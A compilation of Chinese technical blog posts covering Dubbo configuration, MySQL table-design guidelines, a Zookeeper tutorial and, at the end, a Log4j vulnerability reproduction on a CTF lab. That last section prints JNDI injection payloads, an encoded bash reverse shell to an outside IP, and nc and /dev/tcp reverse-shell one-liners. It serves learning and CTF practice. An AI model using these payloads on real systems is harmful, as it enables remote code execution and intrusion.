在开发及测试环境下,经常需要绕过注册中心,只测试指定服务提供者,所以,这种情况下,我们只需要直接连接服务端的地即可,其实,这种方法在前面的讲解已经使用到了,第一种讲解的方式就是这种方式,因为这种方式简单。

使用方法如下所示:

1
2
3
<dubbo:reference id="providerService"
interface="com.sihai.dubbo.provider.service.ProviderService"
url="dubbo://192.168.234.1:20880/com.sihai.dubbo.provider.service.ProviderService"/>

说明:可以看到,只要在消费端在・ dubbo:reference 节点使用 url 给出服务端的方法即可。

# 1.9.5 只订阅

只订阅就是只能够订阅服务端的服务,而不能够注册。

引用官方的使用场景如下:

为方便开发测试,经常会在线下共用一个所有服务可用的注册中心,这时,如果一个正在开发中的服务提供者注册,可能会影响消费者不能正常运行。
可以让服务提供者开发方,只订阅服务 (开发的服务可能依赖其它服务),而不注册正在开发的服务,通过直连测试正在开发的服务。

1
<dubbo:registry register="false" protocol="zookeeper" address="localhost:2181,localhost:2182,localhost:2183" check="false"/>

1、使用只订阅方式
当在服务提供端使用 register="false" 的时候,我们使用下面的方式获取服务端的服务;

1
2
<dubbo:reference cluster="failover" retries="2" check="false" id="providerService"
interface="com.sihai.dubbo.provider.service.ProviderService"/>

启动信息

在这里插入图片描述
发现,这时候并不是向注册中心 zookeeper 注册,而只是做了发布服务和启动 netty

2、不使用只订阅方式

1
<dubbo:registry protocol="zookeeper" address="localhost:2181,localhost:2182,localhost:2183" check="false"/>

启动信息

在这里插入图片描述
可以发现,这里就向注册中心 zookeeper 注册了。

# 1.9.6 只注册

只注册正好跟前面的只订阅相反,这个时候可以向注册中心注册,但是,消费端却不能够读到服务。

应用场景

如果有两个镜像环境,两个注册中心,有一个服务只在其中一个注册中心有部署,另一个注册中心还没来得及部署,而两个注册中心的其它应用都需要依赖此服务。这个时候,可以让服务提供者方只注册服务到另一注册中心,而不从另一注册中心订阅服务。

使用说明

1
<dubbo:registry subscribe="false" address="localhost:2181"></dubbo:registry>

在服务端的 dubbo:registry 节点下使用 subscribe="false" 来声明这个服务是只注册的服务。

这个时候消费端调用的时候是不能调用的。

在这里插入图片描述

# 1.9.7 多协议机制

在前面我们使用的协议都是 dubbo 协议,但是 dubbo 除了支持这种协议外还支持其他的协议,比如, rmi、hessian 等,另外,而且还可以用多种协议同时暴露一种服务。

使用方法

1、一种接口使用一种协议

先声明多种协议

1
2
3
<!--当前服务发布所依赖的协议;webserovice、Thrift、Hessain、http-->
<dubbo:protocol name="dubbo" port="20880"/>
<dubbo:protocol name="rmi" port="1099" />

然后在发布接口的时候使用具体协议

1
2
3
4
5
6
7
<!--服务发布的配置,需要暴露的服务接口-->
<dubbo:service cluster="failover" retries="2"
interface="com.sihai.dubbo.provider.service.ProviderService"
ref="providerService"/>
<dubbo:service cluster="failover" retries="2"
interface="com.sihai.dubbo.provider.service.ProviderService"
ref="providerService" protocol="rmi"/>

在输出日志中,就可以找到 rmi 发布的接口。

1
rmi://192.168.234.1:1099/com.sihai.dubbo.provider.service.ProviderService?anyhost=true&application=provider&bean.name=com.sihai.dubbo.provider.service.ProviderService&cluster=failover&dubbo=2.0.2&generic=false&interface=com.sihai.dubbo.provider.service.ProviderService&methods=SayHello&owner=sihai&pid=796&retries=2&side=provider&timestamp=1564281053185, dubbo version: 2.6.6, current host: 192.168.234.1

2、一种接口使用多种协议
声明协议和上面的方式一样,在发布接口的时候有一点不一样。

1
2
3
<dubbo:service cluster="failover" retries="2"
interface="com.sihai.dubbo.provider.service.ProviderService"
ref="providerService" protocol="rmi,dubbo"/>

说明: protocol 属性,可以用 , 隔开,使用多种协议。

# 1.9.8 多注册中心

Dubbo 支持同一服务向多注册中心同时注册,或者不同服务分别注册到不同的注册中心上去,甚至可以同时引用注册在不同注册中心上的同名服务。

服务端多注册中心发布服务

一个服务可以在不同的注册中心注册,当一个注册中心出现问题时,可以用其他的注册中心。

注册

1
2
3
4
<!--多注册中心-->
<dubbo:registry protocol="zookeeper" id="reg1" timeout="10000" address="localhost:2181"/>
<dubbo:registry protocol="zookeeper" id="reg2" timeout="10000" address="localhost:2182"/>
<dubbo:registry protocol="zookeeper" id="reg3" timeout="10000" address="localhost:2183"/>

发布服务

1
2
3
4
5
6
7
<!--服务发布的配置,需要暴露的服务接口-->
<dubbo:service cluster="failover" retries="2"
interface="com.sihai.dubbo.provider.service.ProviderService"
ref="providerService" registry="reg1"/>
<dubbo:service cluster="failover" retries="2"
interface="com.sihai.dubbo.provider.service.ProviderService"
ref="providerService" protocol="rmi" registry="reg2"/>

说明:使用 registry="reg2" 指定该接口使用的注册中心,同时也可以使用多个 用,隔开,例如, registry="reg1,,reg2"

消费端多注册中心引用服务

首先,先向不同注册中心注册;

1
2
3
4
<!--多注册中心-->
<dubbo:registry protocol="zookeeper" id="reg1" timeout="10000" address="localhost:2181"/>
<dubbo:registry protocol="zookeeper" id="reg2" timeout="10000" address="localhost:2182"/>
<dubbo:registry protocol="zookeeper" id="reg3" timeout="10000" address="localhost:2183"/>

其次,不同的消费端服务引用使用不同的注册中心;

1
2
3
4
5
<!--不同的服务使用不同的注册中心-->
<dubbo:reference cluster="failover" retries="2" check="false" id="providerService"
interface="com.sihai.dubbo.provider.service.ProviderService" registry="reg1"/>
<dubbo:reference cluster="failover" retries="2" check="false" id="providerService2"
interface="com.sihai.dubbo.provider.service.ProviderService" registry="reg2"/>

说明:上面分别使用注册中心 1 和注册中心 2

# 1.9.9 多版本

不同的服务是有版本不同的,版本可以更新并且升级,同时,不同的版本之间是不可以调用的。

1
2
3
4
5
6
7
<!--服务发布的配置,需要暴露的服务接口-->
<dubbo:service cluster="failover" retries="2"
interface="com.sihai.dubbo.provider.service.ProviderService"
ref="providerService" registry="reg1" version="1.0.0"/>
<dubbo:service cluster="failover" retries="2"
interface="com.sihai.dubbo.provider.service.ProviderService"
ref="providerService" protocol="rmi" registry="reg2" version="1.0.0"/>

加入了版本控制。

# 1.9.10 日志管理

dubbo 也可以将日志信息记录或者保存到文件中的。

1、使用 accesslog 输出到 log4j

1
2
<dubbo:protocol accesslog="true" name="dubbo" port="20880"/>
<dubbo:protocol accesslog="true" name="rmi" port="1099" />

2、输出到文件

1
2
<dubbo:protocol accesslog="http://localhost/log.txt" name="dubbo" port="20880"/>
<dubbo:protocol accesslog="http://localhost/log2.txt" name="rmi" port="1099" />

# 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!

【MySql】21个MySQL表设计的经验准则

InterviewCoder

# 【MySql】21 个 MySQL 表设计的经验准则

1.命名规范

数据库表名、字段名、索引名等都需要命名规范,可读性高(一般要求用英文),让别人一看命名,就知道这个字段表示什么意思。

比如一个表的账号字段,反例如下

acc_no,1_acc_no,zhanghao

正例:

account_no,account_number
  • 表名、字段名必须使用小写字母或者数字,禁止使用数字开头,禁止使用拼音,并且一般不使用英文缩写。
  • 主键索引名为pk_字段名;唯一索引名为uk_字段名;普通索引名则为idx_字段名

2.选择合适的字段类型

设计表时,我们需要选择合适的字段类型,比如:

  • 尽可能选择存储空间小的字段类型,就好像数字类型的,从tinyint、smallint、int、bigint从左往右开始选择
  • 小数类型如金额,则选择 decimal,禁止使用 floatdouble
  • 如果存储的字符串长度几乎相等,使用 char 定长字符串类型。
  • varchar是可变长字符串,不预先分配存储空间,长度不要超过5000
  • 如果存储的值太大,建议字段类型修改为text,同时抽出单独一张表,用主键与之对应。
  • 同一表中,所有varchar字段的长度加起来,不能大于65535. 如果有这样的需求,请使用TEXT/LONGTEXT 类型。

3. 主键设计要合理

主键设计的话,最好不要与业务逻辑有所关联。有些业务上的字段,比如身份证,虽然是唯一的,一些开发者喜欢用它来做主键,但是不是很建议哈。主键最好是毫无意义的一串独立不重复的数字,比如UUID,又或者Auto_increment自增的主键,或者是雪花算法生成的主键等等;

4. 选择合适的字段长度

先问大家一个问题,大家知道数据库字段长度表示字符长度还是字节长度嘛?

其实在mysql中,varcharchar类型表示字符长度,而其他类型表示的长度都表示字节长度。比如char(10)表示字符长度是10,而bigint(4)表示显示长度是4个字节,但是因为bigint实际长度是8个字节,所以bigint(4)的实际长度就是8个字节。

我们在设计表的时候,需要充分考虑一个字段的长度,比如一个用户名字段(它的长度5~20个字符),你觉得应该设置多长呢?可以考虑设置为 username varchar(32)。字段长度一般设置为2的幂哈(也就是2的n次方)。’;

5,优先考虑逻辑删除,而不是物理删除

什么是物理删除?什么是逻辑删除?

  • 物理删除:把数据从硬盘中删除,可释放存储空间
  • 逻辑删除:给数据添加一个字段,比如is_deleted,以标记该数据已经逻辑删除。

物理删除就是执行delete语句,如删除account_no =‘666’的账户信息SQL如下:

delete from account_info_tab whereaccount_no ='666';

逻辑删除呢,就是这样:

update account_info_tab set is_deleted = 1 where account_no ='666';

为什么推荐用逻辑删除,不推荐物理删除呢?

  • 为什么不推荐使用物理删除,因为恢复数据很困难
  • 物理删除会使自增主键不再连续
  • 核心业务表 的数据不建议做物理删除,只适合做状态变更。

6. 每个表都需要添加这几个通用字段如主键、create_time、modifed_time等

表必备一般来说,或具备这几个字段:

  • id:主键,一个表必须得有主键,必须
  • create_time:创建时间,必须
  • modifed_time/update_time: 修改时间,必须,更新记录时,需要更新它
  • version : 数据记录的版本号,用于乐观锁,非必须
  • remark :数据记录备注,非必须
  • modified_by :修改人,非必须
  • creator :创建人,非必须

7. 一张表的字段不宜过多

我们建表的时候,要牢记,一张表的字段不宜过多哈,一般尽量不要超过20个字段哈。笔者记得上个公司,有伙伴设计开户表,加了五十多个字段。。。

如果一张表的字段过多,表中保存的数据可能就会很大,查询效率就会很低。因此,一张表不要设计太多字段哈,如果业务需求,实在需要很多字段,可以把一张大的表,拆成多张小的表,它们的主键相同即可。

当表的字段数非常多时,可以将表分成两张表,一张作为条件查询表,一张作为详细内容表 (主要是为了性能考虑)。

8. 尽可能使用not null定义字段

如果没有特殊的理由, 一般都建议将字段定义为 NOT NULL

为什么呢?

  • 首先, NOT NULL 可以防止出现空指针问题。
  • 其次,NULL值存储也需要额外的空间的,它也会导致比较运算更为复杂,使优化器难以优化SQL。
  • NULL值有可能会导致索引失效
  • 如果将字段默认设置成一个空字符串或常量值并没有什么不同,且都不会影响到应用逻辑, 那就可以将这个字段设置为NOT NULL

9. 设计表时,评估哪些字段需要加索引

首先,评估你的表数据量。如果你的表数据量只有一百几十行,就没有必要加索引。否则设计表的时候,如果有查询条件的字段,一般就需要建立索引。但是索引也不能滥用:

  • 索引也不要建得太多,一般单表索引个数不要超过5个。因为创建过多的索引,会降低写得速度。
  • 区分度不高的字段,不能加索引,如性别等
  • 索引创建完后,还是要注意避免索引失效的情况,如使用mysql的内置函数,会导致索引失效的
  • 索引过多的话,可以通过联合索引的话方式来优化。然后的话,索引还有一些规则,如覆盖索引,最左匹配原则等等。。

假设你新建一张用户表,如下:

CREATE TABLE user_info_tab (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `age` int(11) DEFAULT NULL,
  `name` varchar(255) NOT NULL,
  `create_time` datetime NOT NULL,
  `modifed_time` datetime NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

对于这张表,很可能会有根据user_id或者name查询用户信息,并且,user_id是唯一的。因此,你是可以给user_id加上唯一索引,name加上普通索引。

CREATE TABLE user_info_tab (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user_id` int(11) NOT NULL,
  `age` int(11) DEFAULT NULL,
  `name` varchar(255) NOT NULL,
  `create_time` datetime NOT NULL,
  `modifed_time` datetime NOT NULL,
  PRIMARY KEY (`id`),
  KEY `idx_name` (`name`) USING BTREE,
  UNIQUE KEY un_user_id (user_id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

10. 不需要严格遵守 3NF,通过业务字段冗余来减少表关联

什么是数据库三范式(3NF),大家是否还有印象吗?

  • 第一范式:对属性的原子性,要求属性具有原子性,不可再分解;
  • 第二范式:对记录的唯一性,要求记录有唯一标识,即实体的唯一性,即不存在部分依赖;
  • 第三方式:对字段的冗余性,要求任何字段不能由其他字段派生出来,它要求字段没有冗余,即不存在传递依赖;

我们设计表及其字段之间的关系, 应尽量满足第三范式。但是有时候,可以适当冗余,来提高效率。比如以下这张表

商品名称 商品型号 单价 数量 总金额
手机 华为 8000 5 40000

以上这张存放商品信息的基本表。总金额这个字段的存在,表明该表的设计不满足第三范式,因为总金额可以由单价*数量得到,说明总金额是冗余字段。但是,增加总金额这个冗余字段,可以提高查询统计的速度,这就是以空间换时间的作法。

当然,这只是个小例子哈,大家开发设计的时候,要结合具体业务分析哈。

11. 避免使用MySQL保留字

如果库名、表名、字段名等属性含有保留字时,SQL语句必须用反引号来引用属性名称,这将使得SQL语句书写、SHELL脚本中变量的转义等变得非常复杂。

因此,我们一般避免使用MySQL保留字,如select、interval、desc等等

12. 不搞外键关联,一般都在代码维护

什么是外键呢?

外键,也叫FOREIGN KEY,它是用于将两个表连接在一起的键。FOREIGN KEY是一个表中的一个字段(或字段集合),它引用另一个表中的PRIMARY KEY。它是用来保证数据的一致性和完整性的。

阿里的Java规范也有这么一条:

【强制】不得使用外键与级联,一切外键概念必须在应用层解决。

我们为什么不推荐使用外键呢?

  • 使用外键存在性能问题、并发死锁问题、使用起来不方便等等。每次做DELETE或者UPDATE都必须考虑外键约束,会导致开发的时候很难受,测试数据造数据也不方便。
  • 还有一个场景不能使用外键,就是分库分表。

13. 一般都选择INNODB存储引擎

建表是需要选择存储引擎的,我们一般都选择INNODB存储引擎,除非读写比率小于1%, 才考虑使用MyISAM

有些小伙伴可能会有疑惑,不是还有MEMORY等其他存储引擎吗?什么时候使用它呢?其实其他存储引擎一般除了都建议在DBA的指导下使用。

我们来复习一下这MySQL这三种存储引擎的对比区别吧:

特性 INNODB MyISAM MEMORY
事务安全 支持
存储限制 64TB
空间使用
内存使用
插入数据速度
是否支持外键 支持

14. 选择合适统一的字符集。

数据库库、表、开发程序等都需要统一字符集,通常中英文环境用utf8

MySQL支持的字符集有utf8、utf8mb4、GBK、latin1等。

  • utf8:支持中英文混合场景,国际通过,3个字节长度
  • utf8mb4:   完全兼容utf8,4个字节长度,一般存储emoji表情需要用到它。
  • GBK :支持中文,但是不支持国际通用字符集,2个字节长度
  • latin1:MySQL默认字符集,1个字节长度

15. 如果你的数据库字段是枚举类型的,需要在comment注释清楚

如果你设计的数据库字段是枚举类型的话,就需要在comment后面注释清楚每个枚举的意思,以便于维护

正例如下:

`session_status` varchar(2) COLLATE utf8_bin NOT NULL COMMENT 'session授权态 00:在线-授权态有效 01:下线-授权态失效 02:下线-主动退出 03:下线-在别处被登录'

反例:

`session_status` varchar(2) COLLATE utf8_bin NOT NULL COMMENT 'session授权态'

并且,如果你的枚举类型在未来的版本有增加修改的话,也需要同时维护到comment后面。

16.时间的类型选择

我们设计表的时候,一般都需要加通用时间的字段,如create_time、modified_time等等。那对于时间的类型,我们该如何选择呢?

对于MySQL来说,主要有date、datetime、time、timestamp 和 year

  • date :表示的日期值, 格式yyyy-mm-dd,范围1000-01-01 到 9999-12-31,3字节
  • time :表示的时间值,格式 hh:mm:ss,范围-838:59:59 到 838:59:59,3字节
  • datetime:表示的日期时间值,格式yyyy-mm-dd hh:mm:ss,范围1000-01-01 00:00:00到9999-12-31 23:59:59```,8字节,跟时区无关
  • timestamp:表示的时间戳值,格式为yyyymmddhhmmss,范围1970-01-01 00:00:01到2038-01-19 03:14:07,4字节,跟时区有关
  • year:年份值,格式为yyyy。范围1901到2155,1字节

推荐优先使用datetime类型来保存日期和时间,因为存储范围更大,且跟时区无关。

17. 不建议使用Stored procedure (包括存储过程,触发器) 。

什么是存储过程

已预编译为一个可执行过程的一个或多个SQL语句。

什么是触发器

触发器,指一段代码,当触发某个事件时,自动执行这些代码。使用场景:

  • 可以通过数据库中的相关表实现级联更改。
  • 实时监控某张表中的某个字段的更改而需要做出相应的处理。
  • 例如可以生成某些业务的编号。
  • 注意不要滥用,否则会造成数据库及应用程序的维护困难。

对于MYSQL来说,存储过程、触发器等还不是很成熟, 并没有完善的出错记录处理,不建议使用。

18. 1:N 关系的设计

日常开发中,1对多的关系应该是非常常见的。比如一个班级有多个学生,一个部门有多个员工等等。这种的建表原则就是:在从表(N的这一方)创建一个字段,以字段作为外键指向主表(1的这一方)的主键。示意图如下:

学生表是多(N)的一方,会有个字段class_id保存班级表的主键。当然,一班不加外键约束哈,只是单纯保存这个关系而已。

有时候两张表存在N:N关系时,我们应该消除这种关系。通过增加第三张表,把N:N修改为两个 1:N。比如图书和读者,是一个典型的多对多的关系。一本书可以被多个读者借,一个读者又可以借多本书。我们就可以设计一个借书表,包含图书表的主键,以及读者的主键,以及借还标记等字段。

19. 大字段

设计表的时候,我们尤其需要关注一些大字段,即占用较多存储空间的字段。比如用来记录用户评论的字段,又或者记录博客内容的字段,又或者保存合同数据的字段。如果直接把表字段设计成text类型的话,就会浪费存储空间,查询效率也不好。

在MySQl中,这种方式保存的设计方案,其实是不太合理的。这种非常大的数据,可以保存到mongodb中,然后,在业务表保存对应mongodbid即可。

这种设计思想类似于,我们表字段保存图片时,为什么不是保存图片内容,而是直接保存图片url即可。

20. 考虑是否需要分库分表

什么是分库分表呢?

  • 分库:就是一个数据库分成多个数据库,部署到不同机器。

  • 分表:就是一个数据库表分成多个表。

我们在设计表的时候,其实可以提前估算一下,是否需要做分库分表。比如一些用户信息,未来可能数据量到达百万设置千万的话,就可以提前考虑分库分表。

为什么需要分库分表: 数据量太大的话,SQL的查询就会变慢。如果一个查询SQL没命中索引,千百万数据量级别的表可能会拖垮整个数据库。即使SQL命中了索引,如果表的数据量超过一千万的话,查询也是会明显变慢的。这是因为索引一般是B+树结构,数据千万级别的话,B+树的高度会增高,查询就变慢啦。

分库分表主要有水平拆分、垂直拆分的说法,拆分策略有range范围、hash取模。而分库分表主要有这些问题:

  • 事务问题
  • 跨库关联
  • 排序问题
  • 分页问题
  • 分布式ID

21. sqL 编写的一些优化经验

最后的话,跟大家聊来一些写SQL的经验吧:

  • 查询SQL尽量不要使用select *,而是select具体字段
  • 如果知道查询结果只有一条或者只要最大/最小一条记录,建议用limit 1
  • 应尽量避免在where子句中使用or来连接条件
  • 注意优化limit深分页问题
  • 使用where条件限定要查询的数据,避免返回多余的行
  • 尽量避免在索引列上使用mysql的内置函数
  • 应尽量避免在 where子句中对字段进行表达式操作
  • 应尽量避免在where 子句中使用!=<>操作符
  • 使用联合索引时,注意索引列的顺序,一般遵循最左匹配原则。
  • 对查询进行优化,应考虑在where 及 order by涉及的列上建立索引
  • 如果插入数据过多,考虑批量插入
  • 在适当的时候,使用覆盖索引
  • 使用explain 分析你SQL的计划

# 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!

【Zookeeper】Zookeeper入门看这篇就够了

InterviewCoder

# 【Zookeeper】Zookeeper 入门看这篇就够了

Zookeeper是什么

官方文档上这么解释zookeeper,它是一个分布式服务框架,是Apache Hadoop 的一个子项目,它主要是用来解决分布式应用中经常遇到的一些数据管理问题,如:统一命名服务、状态同步服务、集群管理、分布式应用配置项的管理等。

上面的解释有点抽象,简单来说zookeeper=文件系统+监听通知机制。

1、 文件系统

Zookeeper维护一个类似文件系统的数据结构:


每个子目录项如 NameService 都被称作为 znode(目录节点),和文件系统一样,我们能够自由的增加、删除znode,在一个znode下增加、删除子znode,唯一的不同在于znode是可以存储数据的。

有四种类型的znode:

  • PERSISTENT-持久化目录节点

    客户端与zookeeper断开连接后,该节点依旧存在

  • PERSISTENT_SEQUENTIAL-持久化顺序编号目录节点

    客户端与zookeeper断开连接后,该节点依旧存在,只是Zookeeper给该节点名称进行顺序编号

  • EPHEMERAL-临时目录节点

    客户端与zookeeper断开连接后,该节点被删除

  • EPHEMERAL_SEQUENTIAL-临时顺序编号目录节点

    客户端与zookeeper断开连接后,该节点被删除,只是Zookeeper给该节点名称进行顺序编号

2、 监听通知机制

客户端注册监听它关心的目录节点,当目录节点发生变化(数据改变、被删除、子目录节点增加删除)时,zookeeper会通知客户端。

就这么简单,下面我们看看Zookeeper能做点什么呢?

Zookeeper能做什么

zookeeper功能非常强大,可以实现诸如分布式应用配置管理、统一命名服务、状态同步服务、集群管理等功能,我们这里拿比较简单的分布式应用配置管理为例来说明。

假设我们的程序是分布式部署在多台机器上,如果我们要改变程序的配置文件,需要逐台机器去修改,非常麻烦,现在把这些配置全部放到zookeeper上去,保存在 zookeeper 的某个目录节点中,然后所有相关应用程序对这个目录节点进行监听,一旦配置信息发生变化,每个应用程序就会收到 zookeeper 的通知,然后从 zookeeper 获取新的配置信息应用到系统中。

如上,你大致应该了解zookeeper是个什么东西,大概能做些什么了,我们马上来学习下zookeeper的安装及使用,并开发一个小程序来实现zookeeper这个分布式配置管理的功能。

Zookeeper单机模式安装

Step1:配置JAVA环境,检验环境:java -version

Step2:下载并解压zookeeper

# cd /usr/local
# wget http://mirror.bit.edu.cn/apache/zookeeper/stable/zookeeper-3.4.12.tar.gz
# tar -zxvf zookeeper-3.4.12.tar.gz
# cd zookeeper-3.4.12

Step3:重命名配置文件zoo_sample.cfg

# cp conf/zoo_sample.cfg conf/zoo.cfg

Step4:启动zookeeper

# bin/zkServer.sh start

Step5:检测是否成功启动,用zookeeper客户端连接下服务端

# bin/zkCli.sh

Zookeeper使用

使用客户端命令操作zookeeper

1、使用 ls 命令来查看当前 ZooKeeper 中所包含的内容



2、创建一个新的 znode ,使用 create /zkPro myData


3、再次使用 ls 命令来查看现在 zookeeper 中所包含的内容:


4、下面我们运行 get 命令来确认第二步中所创建的 znode 是否包含我们所创建的字符串:


5、下面我们通过 set 命令来对 zk 所关联的字符串进行设置:


6、下面我们将刚才创建的 znode 删除


使用Java API操作zookeeper

使用Java API操作zookeeper需要引用下面的包


下面我们来实现上面说的分布式配置中心:

1、在zookeeper里增加一个目录节点,并且把配置信息存储在里面

2、启动两个zookeeper客户端程序,代码如下所示

import java.util.concurrent.CountDownLatch;
import org.apache.zookeeper.WatchedEvent;
import org.apache.zookeeper.Watcher;
import org.apache.zookeeper.Watcher.Event.EventType;
import org.apache.zookeeper.Watcher.Event.KeeperState;
import org.apache.zookeeper.ZooKeeper;
import org.apache.zookeeper.data.Stat;

/**

  • 分布式配置中心 demo
  • @author

*/
public class ZooKeeperProSync implements Watcher {

private static CountDownLatch connectedSemaphore = new CountDownLatch(1);
private static ZooKeeper zk = null;
private static Stat stat = new Stat();

public static void main(String[] args) throws Exception {
    //zookeeper配置数据存放路径
    String path = "/username";
    //连接zookeeper并且注册一个默认的监听器
    zk = new ZooKeeper("192.168.31.100:2181", 5000, //
            new ZooKeeperProSync());
    //等待zk连接成功的通知
    connectedSemaphore.await();
    //获取path目录节点的配置数据,并注册默认的监听器
    System.out.println(new String(zk.getData(path, true, stat)));

    Thread.sleep(Integer.MAX_VALUE);
}

public void process(WatchedEvent event) {
    if (KeeperState.SyncConnected == event.getState()) {  //zk连接成功通知事件
        if (EventType.None == event.getType() &amp;&amp; null == event.getPath()) {
            connectedSemaphore.countDown();
        } else if (event.getType() == EventType.NodeDataChanged) {  //zk目录节点数据变化通知事件
            try {
                System.out.println("配置已修改,新值为:" + new String(zk.getData(event.getPath(), true, stat)));
            } catch (Exception e) {
            }
        }
    }
}

}

两个程序启动后都正确的读取到了zookeeper的/username目录节点下的数据'qingfeng'

3、我们在zookeeper里修改下目录节点/username下的数据


修改完成后,我们看见两个程序后台都及时收到了他们监听的目录节点数据变更后的值,如下所示


Zookeeper集群模式安装

本例搭建的是伪集群模式,即一台机器上启动三个zookeeper实例组成集群,真正的集群模式无非就是实例IP地址不同,搭建方法没有区别

Step1:配置JAVA环境,检验环境:java -version

Step2:下载并解压zookeeper

# cd /usr/local
# wget http://mirror.bit.edu.cn/apache/zookeeper/stable/zookeeper-3.4.12.tar.gz
# tar -zxvf zookeeper-3.4.12.tar.gz
# cd zookeeper-3.4.12

Step3:重命名 zoo_sample.cfg文件

# cp conf/zoo_sample.cfg conf/zoo-1.cfg

Step4:修改配置文件zoo-1.cfg,原配置文件里有的,修改成下面的值,没有的则加上

# vim conf/zoo-1.cfg
dataDir=/tmp/zookeeper-1
clientPort=2181
server.1=127.0.0.1:2888:3888
server.2=127.0.0.1:2889:3889
server.3=127.0.0.1:2890:3890

配置说明

  • tickTime:这个时间是作为 Zookeeper 服务器之间或客户端与服务器之间维持心跳的时间间隔,也就是每个 tickTime 时间就会发送一个心跳。
  • initLimit:这个配置项是用来配置 Zookeeper 接受客户端(这里所说的客户端不是用户连接 Zookeeper 服务器的客户端,而是 Zookeeper 服务器集群中连接到 Leader 的 Follower 服务器)初始化连接时最长能忍受多少个心跳时间间隔数。当已经超过 10个心跳的时间(也就是 tickTime)长度后 Zookeeper 服务器还没有收到客户端的返回信息,那么表明这个客户端连接失败。总的时间长度就是 10*2000=20 秒
  • syncLimit:这个配置项标识 Leader 与 Follower 之间发送消息,请求和应答时间长度,最长不能超过多少个 tickTime 的时间长度,总的时间长度就是 5*2000=10秒
  • dataDir:顾名思义就是 Zookeeper 保存数据的目录,默认情况下,Zookeeper 将写数据的日志文件也保存在这个目录里。
  • clientPort:这个端口就是客户端连接 Zookeeper 服务器的端口,Zookeeper 会监听这个端口,接受客户端的访问请求。
  • server.A=B:C:D:其中 A 是一个数字,表示这个是第几号服务器;B 是这个服务器的 ip 地址;C 表示的是这个服务器与集群中的 Leader 服务器交换信息的端口;D 表示的是万一集群中的 Leader 服务器挂了,需要一个端口来重新进行选举,选出一个新的 Leader,而这个端口就是用来执行选举时服务器相互通信的端口。如果是伪集群的配置方式,由于 B 都是一样,所以不同的 Zookeeper 实例通信端口号不能一样,所以要给它们分配不同的端口号。

Step4:再从zoo-1.cfg复制两个配置文件zoo-2.cfg和zoo-3.cfg,只需修改dataDir和clientPort不同即可

# cp conf/zoo-1.cfg conf/zoo-2.cfg
# cp conf/zoo-1.cfg conf/zoo-3.cfg
# vim conf/zoo-2.cfg
dataDir=/tmp/zookeeper-2
clientPort=2182
# vim conf/zoo-2.cfg
dataDir=/tmp/zookeeper-3
clientPort=2183

Step5:标识Server ID

创建三个文件夹/tmp/zookeeper-1,/tmp/zookeeper-2,/tmp/zookeeper-2,在每个目录中创建文件myid 文件,写入当前实例的server id,即1.2.3

# cd /tmp/zookeeper-1
# vim myid
1
# cd /tmp/zookeeper-2
# vim myid
2
# cd /tmp/zookeeper-3
# vim myid
3

Step6:启动三个zookeeper实例

# bin/zkServer.sh start conf/zoo-1.cfg
# bin/zkServer.sh start conf/zoo-2.cfg
# bin/zkServer.sh start conf/zoo-3.cfg

Step7:检测集群状态,也可以直接用命令“zkCli.sh -server IP:PORT”连接zookeeper服务端检测


至此,我们对zookeeper就算有了一个入门的了解,当然zookeeper远比我们这里描述的功能多,比如用zookeeper实现集群管理,分布式锁,分布式队列,zookeeper集群leader选举等等

推荐阅读:https://www.roncoo.com/course/view/255bac222b1b4300b42838b58fea3a2e

文章来源:https://my.oschina.net/u/3796575/blog/1845035

## 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!

【Log4J】JAVA安全--log4j漏洞研究分析

InterviewCoder

# 【Log4J】JAVA 安全–log4j 漏洞研究分析

前言:这个漏洞很火,但是自己一直没咋研究过 算是抽空跟了下,总结了很多师傅的文章 写这篇文章进行记录下自己的学习过程吧

log4j漏洞复现

本地复现

这个很多人写了 可直接参考这个
https://cloud.tencent.com/developer/article/1917856

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class log4jRCE {
private static final Logger logger = LogManager.getLogger(log4jRCE.class);
public static void main(String[] args) {
logger.error("${jndi:ldap:// 服务器的地址 / TomcatBypass/Command/Base64/Y2FsYw==}");
}
}

这篇文章里面还缺了一点东西
就是idea生成jar文件的方法
这里一起写出来
①打开模块设置
在这里插入图片描述
②选模块
在这里插入图片描述

③选好主类以及生成的文件在哪些地方
在这里插入图片描述
④选择包含在项目构建中然后点击应用
在这里插入图片描述
编译生成即可
在这里插入图片描述
但是对于这个我是失败了的 不知道啥原因在这里插入图片描述

本地编写jar方法

①把java编写为class文件
javac  Exploit.java
②把class编写为jar文件
java -jar Exploit.jar Exploit.class

在线靶场复现

这里以bugku上的靶场为例进行复现
https://ctf.bugku.com/challenges/detail/id/340.html
在这里插入图片描述
环境配置
①ldap服务
在这里插入图片描述

服务器起一个ldap服务就好了
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 服务器的地址
在这里插入图片描述
直接执行反弹shell
即直接配置bash反弹shell命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTYuMjI2LjY3Lzk5OTkgMD4mMQ}|{base64,-d}|{bash,-i}" -A "192.168.72.1"

②nc配置(windows的话)
起到获取flag的思路
https://eternallybored.org/misc/netcat/
下载好后进行监听即可
nc -lvnp 端口
在这里插入图片描述

思路1
不反弹shell进行获取flag

user=${jndi:ldap://服务器的ip:1389/TomcatBypass/TomcatEcho}&pwd=69be4a983341add38e2ad1e5c804568a

在这里插入图片描述
在这里插入图片描述
思路2
进行反弹shell获取

常见反弹shell的思路
①nc ip 12345 -e /bin/sh

②bash -i >& /dev/tcp/ 启动 nc 服务器的 ip/9999 0>&1
